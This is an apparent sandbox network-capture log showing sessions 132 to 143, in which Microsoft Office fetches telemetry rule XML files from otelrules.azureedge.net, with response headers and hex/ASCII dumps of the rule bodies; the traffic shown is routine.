2024-11-29 22:11:51 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:51 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:52 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:51 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221151Z-174f7845968zgtf6hC1EWRqd8s0000000thg0000000051hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:52 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:51 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:52 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:52 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 902f1521-d01e-00a1-2fef-4135b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221152Z-174f7845968j6t2phC1EWRcfe800000010r00000000082dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:52 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:52 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:52 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:52 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a0e0d5c5-a01e-0084-68de-419ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221152Z-174f7845968frfdmhC1EWRxxbw00000010n0000000006325 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:52 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:52 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6de228a0-301e-0052-2e05-4165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221152Z-174f7845968vqt9xhC1EWRgten00000010q00000000012ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:53 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:53 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:53 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc455531-901e-0064-7a1b-41e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221153Z-174f7845968j6t2phC1EWRcfe800000010p000000000e63t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:53 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:53 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:54 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 069fcaeb-401e-0016-5ff7-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221154Z-174f7845968vqt9xhC1EWRgten00000010ng0000000053qk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:54 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:54 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 069be9ae-401e-0016-24f6-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221154Z-174f78459684bddphC1EWRbht4000000108g00000000ah4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:54 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:54 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 75b435a0-401e-0048-0433-400409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221154Z-174f78459685m244hC1EWRgp2c00000010d00000000077ps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:55 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 581105fc-301e-0000-6a91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221155Z-174f7845968kvnqxhC1EWRmf3g0000000me0000000001grr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:55 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 17f40f6b-801e-00a3-7e91-3f7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221155Z-174f7845968kvnqxhC1EWRmf3g0000000ma000000000d4rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:56 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:56 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 629a3d73-e01e-0052-0991-3fd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221156Z-174f7845968xr5c2hC1EWRd0hn0000000he00000000059df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:56 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
